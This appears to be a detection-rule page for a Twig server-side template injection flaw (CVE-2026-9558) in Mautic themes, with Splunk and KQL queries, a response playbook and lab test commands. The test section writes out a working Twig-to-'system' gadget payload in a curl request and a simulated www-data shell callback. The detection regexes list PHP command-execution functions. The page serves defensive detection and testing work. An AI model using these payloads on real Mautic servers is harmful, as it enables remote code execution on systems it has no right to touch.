Detect Mautic Server-Side Template Injection (SSTI) in Theme Templates in Splunk
Detects exploitation of CVE-2026-9558, a critical (CVSS 9.9) Server-Side Template Injection vulnerability in Mautic's theme template engine (CWE-1336, Twig-based SSTI). An authenticated or in some deployments unauthenticated attacker can inject malicious Twig template syntax through theme customization, email/landing page builder, or theme upload/import functionality, achieving remote code execution on the underlying PHP host. Affects mautic/core versions >=1.3.0 <4.4.13, >=5.0.0 <5.2.11, >=6.0.0 <6.0.9, and >=7.0.0 <7.1.2. A public PoC/advisory exists (GHSA-9fx4-7cmj-47vg).
MITRE ATT&CK
- Tactic
- Initial Access Execution
SPL Detection Query
index=web sourcetype=access_combined OR sourcetype=mautic:access
(uri_path="*/s/themes*" OR uri_path="*/s/emails*" OR uri_path="*/s/pages*" OR uri_path="*/theme/upload*" OR uri_path="*/api/themes*")
method IN ("POST","PUT")
| eval decoded_uri=urldecode(uri_query)
| regex decoded_uri="(\{\{|\{%|_self|getFilter|__construct|system\(|exec\(|passthru\(|proc_open\(|shell_exec\()"
| table _time, clientip, method, uri_path, decoded_uri, status, http_user_agent
| sort -_timeSearches Mautic web access logs for POST/PUT requests to theme, email, or landing page endpoints containing Twig SSTI payload indicators, correlating with CVE-2026-9558 exploitation attempts.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Internal QA teams stress-testing custom Twig theme snippets
- Marketing content containing literal curly-brace text (e.g., mail-merge examples) that is URL-encoded
- Third-party integrations posting JSON payloads with braces that are misidentified as Twig delimiters
Other platforms for CVE-2026-9558
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Twig SSTI probe against theme endpoint
Expected signal: Web access log entry for POST /s/themes/edit/1 containing the literal string {{7*7}}; if vulnerable, the rendered theme output contains '49'.
- Test 2Twig-to-PHP function call injection
Expected signal: Web log entry showing POST to /s/emails/edit/1 with __construct/getFilter/system( markers; process telemetry showing php-fpm spawning 'id' if the gadget chain succeeds in the lab sandbox.
- Test 3Post-exploitation shell spawn simulation from PHP-FPM
Expected signal: Process creation events showing bash/id/whoami/curl spawned with parent process php-fpm running as www-data, plus an outbound connection to the test callback listener.
Response Playbook
Triage
- Identify the affected Mautic version via /s/public or admin footer, composer.lock, or the mautic:core update banner, and confirm it falls within the vulnerable ranges (>=1.3.0 <4.4.13, >=5.0.0 <5.2.11, >=6.0.0 <6.0.9, >=7.0.0 <7.1.2).
- Review recent theme, email, and landing page edit history in the Mautic audit log for injected Twig syntax such as {{, {%, __construct, or PHP function calls (system, exec, passthru, proc_open).
- Correlate the timestamp of suspicious template edits with web server access logs and PHP-FPM error logs to establish which user account or source IP performed the injection.
- Check for unexpected child processes spawned by the PHP-FPM/Apache/Nginx worker (shells, reverse-shell binaries, curl/wget downloads) on the Mautic host around the time of the suspicious request.
Containment
- Immediately isolate the Mautic host from outbound internet access at the network/firewall layer to prevent C2 callback or data exfiltration while investigation continues.
- Disable or restrict access to the affected theme/email/page-builder endpoints (e.g., via WAF rule blocking Twig delimiter patterns) until the instance is patched.
- Revoke or rotate credentials/API tokens for any user account implicated in the malicious template submission, and force-expire active admin sessions.
Evidence Collection
- Export the full contents of the malicious theme/email/landing-page template (including raw Twig source) before remediation for forensic and legal review.
- Collect web server access/error logs, PHP-FPM logs, and Mautic application audit logs covering the suspected exploitation window, and preserve a memory/disk snapshot of the host if RCE is confirmed.
- Capture running process tree, network connections, and any dropped files/webshells discovered on the host, hashing all artifacts for chain of custody.
Escalation Criteria
- !Escalate to incident response if evidence of successful code execution is found (unexpected child processes, webshells, outbound C2 connections, or new/modified admin accounts).
- !Escalate if the Mautic instance handles marketing data containing PII/customer records, or if it has trust relationships (SSO, API integrations, shared secrets) with other production systems.
- !Escalate if the affected instance is internet-facing and multiple exploitation attempts are observed across a short window, suggesting mass scanning or targeted campaign activity.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Mautic theme/email/landing-page template source stored in the database (theme_html/theme_config fields) or on-disk under themes/<theme>/html/ - >
Web server (nginx/Apache) and PHP-FPM access/error logs showing the exploitation request and any resulting 500 errors from malformed Twig execution - >
Mautic audit_log table entries recording who created/modified the theme or content asset and when
Tuning Guidance
Baseline legitimate Twig usage by developers and marketing staff who customize themes (they will use {{ }} and {% %} for variables/loops but rarely reference __construct, getFilter, or direct PHP function calls like system()/exec()/proc_open()). Suppress alerts from known internal developer IPs performing sanctioned theme work, and require the process-execution correlation (EQL/CQL rules) before treating a match as high-confidence RCE rather than benign template editing.
Hunting Queries
Broad hunt for any historical requests to Mautic theme/content endpoints carrying Twig-to-PHP function-call payloads, to identify prior undetected exploitation attempts of CVE-2026-9558.
AppServiceHTTPLogs
| where CsUriStem has_any ("/s/themes", "/s/emails", "/s/pages")
| where CsUriQuery has_any ("system(", "exec(", "passthru(", "__construct", "getFilter")
| summarize count() by CIp, CsUriStem, bin(TimeGenerated, 1h)index=web (uri_path="*/s/themes*" OR uri_path="*/s/emails*" OR uri_path="*/s/pages*") (uri_query="*system(*" OR uri_query="*exec(*" OR uri_query="*__construct*") | stats count by clientip, uri_path, _timeAtomic Red Team Tests
Submits a benign Twig expression (arithmetic evaluation) to a lab Mautic theme customization endpoint to verify whether server-side Twig rendering occurs outside the sandbox, confirming the SSTI vector without executing OS commands.
Command
curl -s -X POST 'http://LAB-MAUTIC-HOST/s/themes/edit/1' -H 'Cookie: PHPSESSID=<lab_session>' --data-urlencode 'theme_details[customHtml]={{7*7}}'Cleanup
Revert the theme's customHtml field to its original content via the Mautic admin UI or database restore from backup.Expected Telemetry
Web access log entry for POST /s/themes/edit/1 containing the literal string {{7*7}}; if vulnerable, the rendered theme output contains '49'.
Expected Detection
kql/spl rules match on the {{ Twig delimiter marker in the request payload targeting the themes endpoint.
In an isolated lab Mautic instance, injects a Twig payload using known SSTI-to-RCE gadget syntax (e.g., referencing __construct/getFilter to reach a PHP callable) to validate detection of function-call indicators without granting real remote access.
Command
curl -s -X POST 'http://LAB-MAUTIC-HOST/s/emails/edit/1' -H 'Cookie: PHPSESSID=<lab_session>' --data-urlencode 'emailform[customHtml]={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}'Cleanup
Restore the lab email template to its pre-test content and restart the php-fpm/mautic worker to clear any cached compiled templates.Expected Telemetry
Web log entry showing POST to /s/emails/edit/1 with __construct/getFilter/system( markers; process telemetry showing php-fpm spawning 'id' if the gadget chain succeeds in the lab sandbox.
Expected Detection
EQL sequence rule and CrowdStrike CQL rule fire on the correlated HTTP-request-then-child-process pattern; QRadar AQL/Sumo rules match on the payload markers.
Simulates the process-execution artifact of a successful SSTI-to-RCE chain by having the php-fpm worker process directly spawn a shell command, validating that EDR/process-based detections fire independent of the initial web request.
Command
sudo -u www-data bash -c 'id; whoami; curl -s http://127.0.0.1:9999/callback' Cleanup
No persistent changes made; terminate any lingering test connections and review/clear the local netcat listener used to receive the simulated callback.Expected Telemetry
Process creation events showing bash/id/whoami/curl spawned with parent process php-fpm running as www-data, plus an outbound connection to the test callback listener.
Expected Detection
CrowdStrike CQL rule and Elastic EQL sequence rule alert on the unexpected child process chain originating from the PHP-FPM parent process.